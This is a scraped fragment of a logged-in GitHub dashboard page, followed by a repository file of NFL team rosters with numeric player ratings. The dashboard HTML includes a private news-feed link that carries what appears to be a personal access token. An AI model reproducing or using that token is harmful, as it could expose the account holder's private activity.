0zm6.5 2V4a2.5 2.5 0 00-5 0v2h5zM12 7.5h.25a.25.25 0 01.25.25v5.5a.25.25 0 01-.25.25h-8.5a.25.25 0 01-.25-.25v-5.5a.25.25 0 01.25-.25H12z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="sumvip">sumvip</span> </a> </div> </li> <li class="public source no-description"> <div class="width-full text-bold"> <a href="/NhaPhatHanh/sumvip.club" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":361782773,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="849667ca9bc191f13352a27f1a9589b81b3f666f2de9d5d2abffb7f540b04524" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/sumvip.club/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="sumvip.club">sumvip.club</span> </a> </div> </li> <li class="public source "> <div class="width-full text-bold"> <a href="/NhaPhatHanh/88vin.link" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":361774252,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="0c2927cd368417c1f71936d5894d97c11ad6ad6ba13aad8bb18cb0ae786df73f" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/88vin.link/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="88vin.link">88vin.link</span> </a> </div> </li> <li class="public source no-description"> <div class="width-full text-bold"> <a href="/NhaPhatHanh/github-docs" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":362337089,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="0aa510bbf6362778733e1189b98877ea5eaed33d40c226753ae619d7d44a1f0b" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/github-docs/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="github-docs">github-docs</span> </a> </div> </li> <li class="public source "> <div class="width-full text-bold"> <a href="/NhaPhatHanh/NhaPhatHanh" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":362176831,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="faf207959d3f49dc5283bee49d28f8b67362a5a4d7f6de8f592c4797b96b04d9" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/NhaPhatHanh/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="NhaPhatHanh">NhaPhatHanh</span> </a> </div> </li> </ul> </div> </div> </div> <div class="mb-4 js-repos-container user-repos" id="dashboard-user-teams-repos" data-pjax-container> <h2 class="f4 text-normal mb-1">Your teams</h2> <div class="Box px-2 py-1"> <div class="Details js-repos-container" data-team-hovercards-enabled> <h2 class="hide-sm hide-md f5 mb-1 border-top color-border-secondary pt-3">Your teams</h2> <p class="notice"> You don’t belong to any teams yet! </p> </div> </div> </div> </div> <h2 class="f4 text-normal d-none js-all-activity-header">All activity</h2> <div class="js-dashboard-deferred" data-src="/dashboard-feed" data-priority="0"> <div class="Box text-center p-3 mb-4 mt-2 js-loader"> <div class="loading-message"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" viewBox="0 0 16 16" fill="none" width="32" height="32" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> <p class="color-text-secondary my-2 mb-0">Loading activity...</p> </div> <div class="error-message"> <p class="color-text-secondary my-2 mb-2">There was an error in loading the activity feed. <a href="/" aria-label="Reload this page">Reload this page</a>.</p> </div> </div> </div> <div class="f6 color-text-secondary mt-4"> <svg class="octicon octicon-light-bulb color-text-secondary" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 1.5c-2.363 0-4 1.69-4 3.75 0 .984.424 1.625.984 2.304l.214.253c.223.264.47.556.673.848.284.411.537.896.621 1.49a.75.75 0 01-1.484.211c-.04-.282-.163-.547-.37-.847a8.695 8.695 0 00-.542-.68c-.084-.1-.173-.205-.268-.32C3.201 7.75 2.5 6.766 2.5 5.25 2.5 2.31 4.863 0 8 0s5.5 2.31 5.5 5.25c0 1.516-.701 2.5-1.328 3.259-.095.115-.184.22-.268.319-.207.245-.383.453-.541.681-.208.3-.33.565-.37.847a.75.75 0 01-1.485-.212c.084-.593.337-1.078.621-1.489.203-.292.45-.584.673-.848.075-.088.147-.173.213-.253.561-.679.985-1.32.985-2.304 0-2.06-1.637-3.75-4-3.75zM6 15.25a.75.75 0 01.75-.75h2.5a.75.75 0 010 1.5h-2.5a.75.75 0 01-.75-.75zM5.75 12a.75.75 0 000 1.5h4.5a.75.75 0 000-1.5h-4.5z"></path></svg> <strong>ProTip!</strong> The feed shows you events from people you <a href="/NhaPhatHanh?tab=following">follow</a> and repositories you <a href="/watching">watch</a>. <br> <a class="f6 Link--secondary mb-2 mt-2 d-inline-block" href="/NhaPhatHanh.private.atom?token=AT27FMIJVILZOGSH5R3CXU56ST7X4" data-ga-click="Dashboard, click, News feed atom/RSSlink- context:user"><svg class="octicon octicon-rss mr-1" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M2.002 2.725a.75.75 0 01.797-.699C8.79 2.42 13.58 7.21 13.974 13.201a.75.75 0 11-1.497.098 10.502 10.502 0 00-9.776-9.776.75.75 0 01-.7-.798zM2 13a1 1 0 112 0 1 1 0 01-2 0zm.84-5.95a.75.75 0 00-.179 1.489c2.509.3 4.5 2.291 4.8 4.8a.75.75 0 101.49-.178A7.003 7.003 0 002.838 7.05z"></path></svg>Subscribe to your news feed</a> </div> </div> </div> </div> </main> <div class="d-flex flex-items-between footer container-lg my-5 px-0" role="contentinfo"> <div class="col-lg-4 list-style-none mr-lg-5"> <a title="Home page" class="d-none d-lg-flex footer-octicon footer-octicon no-underline" href="https://github.com"> <div> <svg height="24" class="octicon octicon-mark-github d-block mr-2 float-left" viewBox="0 0 16 16" version="1.1" width="24" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> </div> <div> <span class="f6 color-text-tertiary"> © 2021 GitHub, Inc. </span> </div> </a> </div> <div class="d-flex flex-justify-start flex-row flex-auto"> <ul class="col-4 col-sm-4 col-lg-4 col-xl-3 list-style-none f6 color-text-secondary pl-lg-4"> <li class="mb-1"><a class="Link--secondary" href="https://github.blog" data-ga-click="Footer, go to blog, text:blog">Blog</a></li> <li class="mb-1"><a class="Link--secondary" data-ga-click="Footer, go to about, text:about" href="https://github.com/about">About</a></li> <li class="mb-1"><a class="Link--secondary" href="https://shop.github.com" data-ga-click="Footer, go to shop, text:shop">Shop</a></li> <li class="mb-1"><a href="https://support.github.com" data-ga-click="Footer, go to contact, text:contact" class="Link--secondary">Contact GitHub</a></li> <li class="mb-1"><a href="/pricing" data-ga-click="Footer, go to Pricing, text:Pricing" class="Link--secondary">Pricing</a></li> </ul> <ul class="col-4 col-sm-4 col-lg-4 col-xl-3 list-style-none f6 color-text-secondary pl-lg-4"> <li class="mb-1"><a class="Link--secondary" href="https://docs.github.com" data-ga-click="Footer, go to api, text:api">API</a></li> <li class="mb-1"><a class="Link--secondary" href="https://services.github.com" data-ga-click="Footer, go to training, text:training">Training</a></li> <li class="mb-1"> <a class="Link--secondary" href="https://www.githubstatus.com/" data-ga-click="Footer, go to status, text:status">Status</a> </li> <li class="mb-1"> <a class="Link--secondary" href="https://docs.github.com/articles/github-security/" data-ga-click="Footer, go to security, text:security">Security</a> </li> </ul> <ul class="col-4 col-sm-4 col-lg-4 col-xl-3 list-style-none f6 color-text-secondary pl-lg-4"> <li class="mb-1"> <a class="Link--secondary" href="https://docs.github.com/en/github/site-policy/github-terms-of-service" data-ga-click="Footer, go to terms, text:terms">Terms</a> </li> <li class="mb-1"> <a class="Link--secondary" href="https://docs.github.com/en/github/site-policy/github-privacy-statement" data-ga-click="Footer, go to privacy, text:privacy">Privacy</a> </li> <li class="mb-1"> <a class="Link--secondary" data-ga-click="Footer, go to help, text:Docs" href="https://docs.github.com">Docs</a> </li> </ul> </div> </div> </div> </div> </div> </div> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg class="octicon octicon-x" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span class="js-stale-session-flash-signed-in" hidden>You signed in with another tab or window. <a href="">Reload</a> to refresh your session.</span> <span class="js-stale-session-flash-signed-out" hidden>You signed out in another tab or window. <a href="">Reload</a> to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-text-primary hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg class="octicon octicon-x" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details> </template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div> </div> </body> </html>
GitHub Repo https://github.com/FrozenFlame97/NFL-Roster01

FrozenFlame97/NFL-Roster01

Baltimore Ravens,BAL QB,Ryan Mallett,28,2011,84,63,85,97,79,20,0.8,2 QB,Joe Flacco,31,2008,86,86,97,97,87,55,22.1,3 QB,Josh Johnson,30,2008,73,65,92,87,73,63,0.6,1 RB,Lorenzo Taliaferro,24,2014,77,57,91,89,86,65,0.6,4 RB,Terrance West,25,2014,82,68,91,66,87,78,0.6,1 RB,Trent Richardson,25,2012,101,74,95,80,87,62,0.7,1 RB,Justin Forsett,30,2008,61,83,88,63,86,93,3,3 RB,Javorius Allen,24,2015,78,52,89,82,88,67,0.7,4 RB,Kyle Juszczyk,25,2013,76,73,93,82,81,57,0.6,4 WR,Kaelin Clay,24,2015,73,57,81,73,91,87,0.5,1 WR,Steve Smith Sr,37,2001,74,96,88,90,83,87,3.5,3 WR,Michael Campanaro,25,2014,72,65,87,81,90,82,0.6,4 WR,Darren Waller,23,2015,73,47,91,76,90,53,0.6,4 WR,Breshad Perriman,22,2015,88,53,89,77,97,82,2.2,4 WR,Dennis Pitta,30,2010,78,81,68,88,80,54,6.4,5 WR,Maxx Williams,22,2015,88,51,87,83,80,68,1,4 WR,Benjamin Watson,35,2004,77,82,85,72,79,60,3.5,2 WR,Kamar Aiken,27,2011,61,73,92,79,88,75,2.6,1 WR,Mike Wallace,29,2009,77,84,92,88,92,86,5.8,2 OL,Ryan Jensen,25,2013,72,52,92,90,83,76,0.6,1 OL,Marshal Yanda,31,2007,75,90,93,94,99,90,8,4 OL,Vladimir Ducasse,28,2010,83,73,89,92,81,68,0.5,1 OL,Ronnie Stanley,22,2016,105,78,85,87,91,89,5.1,4 OL,James Hurst,24,2014,62,71,87,78,77,69,0.5,3 OL,Jeremy Zuttah,30,2008,76,83,93,86,92,73,4.1,3 OL,John Urschel,24,2014,72,75,95,87,77,84,0.6,4 OL,Eugene Monroe,29,2009,97,87,90,89,75,90,7.5,5 K,Sam Koch,33,2006,64,88,85,91,87,79,3.3,5 K,Justin Tucker,26,2012,60,85,95,98,95,74,4.6,1 S,Terrence Brooks,25,2014,82,52,83,76,91,79,0.7,4 S,Kendrick Lewis,30,2010,73,78,81,78,86,86,1.8,3 S,Matt Elam,24,2013,86,63,89,65,89,90,1.7,4 S,Eric Weddle,31,2007,80,92,95,91,93,77,6.5,4 CB,Jerraud Powers,28,2009,77,82,90,86,90,50,1.8,1 CB,Will Davis,26,2013,81,66,85,75,90,46,0.7,4 CB,Lardarius Webb,30,2009,77,83,88,80,91,60,5.4,3 CB,Jimmy Smith,27,2011,84,79,88,90,90,70,10.3,4 CB,Kyle Arrington,29,2008,57,82,88,84,88,47,2.3,3 CB,Jumal Rolle,26,2013,62,63,91,75,91,45,0.6,1 CB,Shareece Wright,29,2011,79,74,85,70,88,62,4.3,3 CB,Anthony Levine,29,2010,60,70,88,79,89,67,1.1,2 CB,Sheldon Price,25,2013,64,53,82,69,87,39,0.5,1 DL,Brent Urban,25,2014,77,50,74,79,76,86,0.6,4 DL,Carl Davis,24,2015,83,53,84,88,78,87,0.7,4 DL,Lawrence Guy,26,2011,64,72,92,84,82,78,1.2,2 DL,Kapron Lewis-Moore,26,2013,71,55,74,89,82,88,0.6,4 DL,Timmy Jernigan,23,2014,87,70,90,84,83,86,1.1,4 DL,CJ Mosley,24,2014,92,79,88,85,84,78,2.2,4 LB,Elvis Dumervil,32,2006,69,92,83,75,85,93,5.2,5 LB,Za'Darius Smith,23,2015,83,53,88,80,80,59,0.7,4 LB,Chris Carter,27,2011,74,69,85,76,59,72,1,1 LB,Arthur Brown,26,2013,86,62,92,87,63,72,0.9,4 LB,Terrell Suggs,33,2003,81,94,88,92,97,87,5.2,4 LB,Albert McClellan,30,2010,59,71,91,79,85,70,1.3,3 END_PLAYERS Cincinnati Bengals,CIN QB,Andy Dalton,28,2011,84,81,96,86,79,20,16,6 QB,AJ McCarron,25,2014,78,65,94,84,75,44,0.6,4 RB,Giovani Bernard,24,2013,86,77,84,56,87,87,5.2,3 RB,Jeremy Hill,23,2014,87,78,94,95,88,79,0.9,4 RB,Rex Burkhead,25,2013,71,68,87,59,80,76,0.6,4 RB,Cedric Peerman,29,2009,68,70,84,52,90,79,1.1,2 WR,AJ Green,27,2011,99,87,95,104,87,84,15,4 WR,Brandon Tate,28,2009,77,78,79,72,88,86,1,1 WR,James Wright,24,2014,67,64,92,77,90,76,0.6,4 WR,Brandon LaFell,29,2010,78,83,94,88,84,65,2.5,1 WR,Mario Alford,25,2015,68,52,91,76,97,85,0.6,4 WR,Tyler Eifert,25,2013,91,62,90,85,82,54,2.1,4 OL,Cedric Ogbuehi,24,2015,93,65,74,82,81,85,2.3,4 OL,Clint Boling,27,2011,79,83,97,82,90,80,5.2,5 OL,Andrew Whitworth,34,2006,79,96,90,94,89,98,9,1 OL,Eric Winston,32,2006,80,84,89,82,74,72,1.1,1 OL,Trey Hopkins,23,2014,63,54,91,87,82,74,0.5,2 OL,Russell Bodine,23,2014,82,75,93,97,82,74,0.7,4 OL,TJ Johnson,25,2013,67,65,92,86,76,75,0.6,1 OL,Jake Fisher,23,2015,88,60,83,77,75,87,1.1,4 OL,Kevin Zeitler,26,2012,85,83,79,91,92,85,1.9,4 K,Zach Hocker,24,2014,68,56,95,90,80,70,0.6,2 K,Mike Nugent,34,2005,78,77,90,91,83,62,1.8,2 K,Kevin Huber,30,2009,72,83,95,88,90,70,2.8,5 S,George Iloka,26,2012,75,78,95,93,88,84,6,5 S,Derron Smith,24,2015,73,55,81,81,90,75,0.6,4 S,Shawn Williams,25,2013,81,52,94,72,92,85,5,4 CB,William Jackson III,23,2016,95,65,85,81,90,70,2.4,4 CB,Josh Shaw,24,2015,83,42,78,79,92,50,0.7,4 CB,Dre Kirkpatrick,26,2012,90,70,85,87,91,73,2.2,4 CB,Adam Jones,32,2005,95,84,88,82,92,50,7.3,3 CB,Leon Hall,31,2007,65,90,87,87,92,62,9.8,4 CB,Darqueze Dennard,24,2014,92,61,87,75,90,65,2,4 CB,Chykie Brown,29,2011,75,72,83,76,90,45,0.8,1 CB,Chris Lewis-Harris,27,2012,61,67,92,77,87,55,0.6,2 DL,Marcus Hardison,24,2015,78,42,87,82,66,67,0.7,4 DL,Michael Bennett,24,2015,64,54,87,77,67,71,0.5,2 DL,Domata Peko,31,2006,74,87,92,87,69,72,4.5,2 DL,Pat Sims,30,2008,76,76,87,89,77,78,1.2,2 DL,Will Clarke,25,2014,82,54,87,76,78,76,0.7,4 DL,Carlos Dunlap,27,2010,83,81,86,79,67,72,7.9,5 DL,Michael Johnson,29,2009,82,79,88,73,64,69,5,4 DL,Geno Atkins,28,2010,78,87,85,99,93,82,10.7,5 DL,Brandon Thompson,26,2012,80,62,90,91,78,72,0.8,1 DL,Margus Hunt,28,2013,87,60,85,88,80,74,0.9,4 LB,Rey Maualuga,29,2009,82,88,89,87,75,84,5,3 LB,Vontaze Burfict,25,2012,60,78,96,90,82,86,4.8,4 LB,Jayson Dimanche,25,2013,62,65,91,74,62,64,0.7,2 LB,Vincent Rey,28,2010,59,75,93,87,59,78,3.5,3 LB,Karlos Dansby,34,2004,77,94,89,93,72,97,2,1 LB,Marquis Flowers,24,2014,72,62,91,69,57,65,0.6,4 END_PLAYERS Cleveland Browns,CLE QB,Austin Davis,27,2012,60,65,92,85,79,49,2,2 QB,Connor Shaw,24,2014,63,51,83,80,76,71,0.5,3 QB,Robert Griffin III,26,2012,100,68,77,92,70,74,7.5,2 QB,Josh McCown,36,2002,72,75,75,83,71,27,4.7,3 RB,Glenn Winston,27,2014,62,40,85,85,81,57,0.5,3 RB,Duke Johnson,22,2015,83,60,76,53,90,87,0.8,4 RB,Isaiah Crowell,23,2014,62,63,93,86,86,63,0.5,3 RB,Malcolm Johnson,23,2015,73,46,91,70,83,60,0.6,4 WR,Rannell Hall,24,2015,64,52,85,70,87,77,0.5,2 WR,Corey Coleman,21,2016,95,75,85,87,96,85,2.9,4 WR,Andrew Hawkins,30,2011,59,83,88,88,90,95,3.4,4 WR,Gary Barnidge,30,2008,71,76,76,93,81,25,4.1,3 WR,Taylor Gabriel,25,2014,62,74,87,82,92,87,0.5,3 WR,Marlon Moore,28,2010,58,71,92,76,86,71,1,3 WR,Terrelle Pryor,27,2011,81,51,90,70,89,82,1.7,1 OL,Cameron Erving,23,2015,93,58,93,84,82,85,2.4,4 OL,John Greco,31,2008,81,82,94,83,93,82,1.6,4 OL,Garth Gerhart,27,2012,63,66,81,85,77,74,0.5,1 OL,Austin Pasztor,25,2012,61,76,95,79,80,74,1.7,1 OL,Michael Bowie,24,2013,66,67,89,82,85,72,0.6,4 OL,Joe Thomas,31,2007,95,92,98,94,90,96,11.5,7 OL,Joel Bitonio,24,2014,87,72,92,83,93,91,1.4,4 OL,Alvin Bailey,24,2013,61,70,92,90,87,78,2,3 K,Patrick Murray,24,2014,63,64,90,92,85,70,0.5,1 K,Andy Lee,33,2004,62,82,85,94,93,63,3.4,6 S,Jordan Poyer,25,2013,71,50,92,76,92,50,0.6,4 S,Don Jones,26,2013,66,61,91,70,92,85,1.7,1 S,Sean Baker,27,2012,63,56,93,68,86,73,0.5,1 S,Rahim Moore,26,2011,84,82,95,89,89,81,1.9,1 S,Ibraheim Campbell,24,2015,83,50,82,62,89,79,0.7,4 CB,Justin Gilbert,24,2014,102,68,95,82,91,45,3.2,4 CB,Tramon Williams,33,2006,55,89,93,85,91,44,7,3 CB,Charles Gaines,23,2015,73,47,87,76,91,35,0.6,4 CB,Pierre Desir,25,2014,77,48,93,83,92,47,0.7,4 CB,Joe Haden,27,2010,98,86,95,89,90,72,13.5,5 CB,Jamar Taylor,25,2013,86,50,85,77,94,74,0.9,4 DL,Desmond Bryant,30,2009,57,79,85,85,78,83,6.8,5 DL,Danny Shelton,22,2015,93,65,90,93,80,88,2.9,4 DL,Xavier Cooper,24,2015,83,46,92,81,77,61,0.7,4 DL,John Hughes,28,2012,80,75,91,85,71,85,3.2,4 LB,Paul Kruger,30,2009,82,87,94,85,82,87,8.1,5 LB,Barkevious Mingo,25,2013,101,74,90,85,79,74,4.1,4 LB,Nate Orchard,23,2015,88,65,92,64,67,70,1.1,4 LB,Armonty Bryant,26,2013,71,54,95,76,70,60,0.6,4 LB,Cam Johnson,26,2012,67,55,76,78,84,51,0.6,2 LB,Justin Tuggle,26,2013,61,72,92,81,68,75,0.7,1 LB,Tank Carder,27,2012,75,66,84,83,64,66,1.3,2 LB,Jackson Jeffcoat,24,2014,62,44,80,68,84,66,0.5,3 LB,Demario Davis,27,2012,80,78,91,92,67,78,4,2 END_PLAYERS Pittsburgh Steelers,PIT QB,Bruce Gradkowski,33,2006,64,74,87,78,75,35,1,1 QB,Ben Roethlisberger,34,2004,82,95,90,104,100,77,21.9,4 QB,Landry Jones,27,2013,81,53,95,92,77,20,0.6,4 RB,David Johnson,28,2009,62,53,90,78,89,66,0.8,1 RB,Fitzgerald Toussaint,26,2014,62,85,85,50,85,80,0.6,1 RB,Le'Veon Bell,24,2013,86,79,94,94,98,105,1,4 RB,Daryl Richardson,26,2012,67,66,85,47,88,82,0.6,1 RB,DeAngelo Williams,33,2006,79,87,88,44,85,81,2,2 WR,Markus Wheaton,25,2013,81,75,93,79,89,83,0.7,4 WR,Ladarius Green,26,2012,80,69,83,81,89,70,5,4 WR,Darrius Heyward-Bey,29,2009,97,74,86,71,92,74,1.3,3 WR,Sammie Coates,23,2015,83,48,88,76,91,65,0.7,4 WR,Martavis Bryant,24,2014,82,70,93,87,101,98,0.7,4 WR,Antonio Brown,27,2010,68,96,94,109,100,106,8.4,5 OL,Chris Hubbard,25,2013,62,61,91,77,73,81,0.6,1 OL,BJ Finney,24,2015,64,63,92,76,75,78,0.5,1 OL,Cody Wallace,31,2008,78,72,94,85,74,81,1.2,3 OL,Ryan Harris,31,2007,81,84,63,84,78,85,2,2 OL,Alejandro Villanueva,27,2014,63,50,88,77,71,76,0.5,2 OL,David DeCastro,26,2012,90,78,92,94,83,88,2,4 OL,Ramon Foster,30,2009,57,82,87,88,78,86,3.2,3 OL,Marcus Gilbert,28,2011,84,79,94,91,84,85,6.2,5 OL,Maurkice Pouncey,26,2010,88,80,92,91,91,89,8.8,5 K,Shaun Suisham,34,2005,53,77,88,87,96,67,3.2,3 K,Chris Boswell,25,2014,63,50,94,92,73,71,0.5,2 S,Mike Mitchell,29,2009,82,76,90,72,89,90,5,5 S,Shamarko Thomas,25,2013,81,55,85,76,93,90,0.7,4 S,Robert Golden,25,2012,60,59,92,71,88,66,1.7,3 S,Ross Ventrone,29,2010,61,66,88,65,89,65,0.6,2 S,Will Allen,33,2004,65,78,88,72,83,50,1.1,1 CB,Doran Grant,23,2015,83,55,92,83,93,64,0.5,2 CB,Senquez Golson,22,2015,88,61,88,85,92,42,1,4 CB,Artie Burns,21,2016,90,65,85,85,90,70,2.4,4 